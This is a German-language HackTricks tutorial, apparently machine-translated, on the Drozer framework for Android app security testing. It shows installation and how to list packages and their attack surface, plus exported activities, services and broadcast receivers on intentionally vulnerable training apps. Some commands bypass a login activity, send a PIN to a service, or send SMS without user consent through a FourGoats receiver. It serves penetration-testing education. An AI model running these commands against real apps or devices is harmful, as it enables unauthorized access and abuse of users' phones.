Drozer Tutorial
Reading time: 8 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
APKs zum Testen
Teile dieses Tutorials wurden aus der Drozer-Dokumentation pdf** extrahiert.**
Installation
Installieren Sie den Drozer-Client auf Ihrem Host. Laden Sie ihn von den neuesten Versionen herunter.
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
Laden Sie die drozer APK von den neuesten Versionen herunter und installieren Sie sie. Im Moment ist es dieses.
adb install drozer.apk
Starting the Server
Agent läuft auf Port 31415, wir müssen port forward, um die Kommunikation zwischen dem Drozer Client und Agent herzustellen. Hier ist der Befehl dazu:
adb forward tcp:31415 tcp:31415
Schließlich starten Sie die Anwendung und drücken Sie die Schaltfläche "AN"
Und verbinden Sie sich damit:
drozer console connect
Interessante Befehle
Befehle | Beschreibung |
---|---|
Help MODULE | Zeigt die Hilfe des ausgewählten Moduls |
list | Zeigt eine Liste aller drozer-Module, die in der aktuellen Sitzung ausgeführt werden können. Dies blendet Module aus, für die Sie nicht die entsprechenden Berechtigungen haben. |
shell | Startet eine interaktive Linux-Shell auf dem Gerät, im Kontext des Agenten. |
clean | Entfernt temporäre Dateien, die von drozer auf dem Android-Gerät gespeichert wurden. |
load | Lädt eine Datei mit drozer-Befehlen und führt sie nacheinander aus. |
module | Findet und installiert zusätzliche drozer-Module aus dem Internet. |
unset | Entfernt eine benannte Variable, die drozer an alle Linux-Shells übergibt, die es startet. |
set | Speichert einen Wert in einer Variablen, die als Umgebungsvariable an alle von drozer gestarteten Linux-Shells übergeben wird. |
shell | Startet eine interaktive Linux-Shell auf dem Gerät, im Kontext des Agenten |
run MODULE | Führt ein drozer-Modul aus |
exploit | Drozer kann Exploits erstellen, die im Gerät ausgeführt werden. drozer exploit list |
payload | Die Exploits benötigen eine Payload. drozer payload list |
Paket
Finden Sie den Namen des Pakets, indem Sie nach einem Teil des Namens filtern:
dz> run app.package.list -f sieve
com.mwr.example.sieve
Grundlegende Informationen des Pakets:
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
Lese Manifest:
run app.package.manifest jakhar.aseem.diva
Angriffsfläche des Pakets:
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
- Aktivitäten: Vielleicht kannst du eine Aktivität starten und eine Art von Autorisierung umgehen, die dich daran hindern sollte, sie zu starten.
- Inhaltsanbieter: Vielleicht kannst du auf private Daten zugreifen oder eine Schwachstelle ausnutzen (SQL-Injection oder Pfad Traversierung).
- Dienste:
- ist debuggable: Mehr erfahren
Aktivitäten
Der Wert des exportierten Aktivitätskomponenten “android:exported” ist im AndroidManifest.xml-Datei auf “true” gesetzt:
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
Liste der exportierten Aktivitäten:
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
Start activity:
Vielleicht kannst du eine Aktivität starten und eine Art von Autorisierung umgehen, die dich daran hindern sollte, sie zu starten.
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
Sie können auch eine exportierte Aktivität von adb starten:
- PackageName ist com.example.demo
- Exported ActivityName ist com.example.test.MainActivity
adb shell am start -n com.example.demo/com.example.test.MainActivity
Content Providers
Dieser Beitrag war so umfangreich, dass er hier nicht passt, also kannst du darauf auf seiner eigenen Seite hier zugreifen.
Services
Ein exportierter Dienst wird in der Manifest.xml deklariert:
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
Im Code überprüfen Sie die **handleMessage
** Funktion, die die Nachricht empfängt:
Listendienst
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
Interagieren Sie mit einem Dienst
app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
Beispiel
Schauen Sie sich die drozer Hilfe für app.service.send
an:
Beachten Sie, dass Sie zuerst die Daten in "msg.what" senden, dann "msg.arg1" und "msg.arg2", Sie sollten im Code überprüfen, welche Informationen verwendet werden und wo.
Mit der Option --extra
können Sie etwas senden, das von "msg.replyTo" interpretiert wird, und mit --bundle-as-obj
erstellen Sie ein Objekt mit den bereitgestellten Details.
Im folgenden Beispiel:
what == 2354
arg1 == 9234
arg2 == 1
replyTo == object(string com.mwr.example.sieve.PIN 1337)
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
Broadcast Receivers
Im Abschnitt über grundlegende Informationen zu Android können Sie sehen, was ein Broadcast Receiver ist.
Nachdem Sie diese Broadcast Receivers entdeckt haben, sollten Sie den Code von ihnen überprüfen. Achten Sie besonders auf die onReceive
-Funktion, da sie die empfangenen Nachrichten verarbeitet.
Alle Broadcast Receivers erkennen
run app.broadcast.info #Detects all
Überprüfen Sie die Broadcast-Receiver einer App
#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.
# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
Broadcast Interaktionen
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
Eine Nachricht senden
In diesem Beispiel wird der FourGoats apk Content Provider missbraucht, um eine beliebige SMS an ein nicht-premium Ziel ohne Erlaubnis des Benutzers zu senden.
Wenn Sie den Code lesen, müssen die Parameter "phoneNumber" und "message" an den Content Provider gesendet werden.
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
Ist debuggeable
Eine Produktions-APK sollte niemals debuggeable sein.
Das bedeutet, dass Sie einen Java-Debugger an die laufende Anwendung anhängen, sie zur Laufzeit inspizieren, Haltepunkte setzen, Schritt für Schritt vorgehen, Variablenwerte sammeln und sogar ändern können. Das InfoSec Institute hat einen ausgezeichneten Artikel über das tiefere Eindringen, wenn Ihre Anwendung debuggeable ist und das Injizieren von Laufzeitcode.
Wenn eine Anwendung debuggeable ist, wird sie im Manifest angezeigt:
<application theme="@2131296387" debuggable="true"
Sie können alle debugbaren Anwendungen mit Drozer finden:
run app.package.debuggable
Tutorials
- https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref
- https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md
- https://www.hackingarticles.in/android-penetration-testing-drozer/
- https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac
Mehr Informationen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.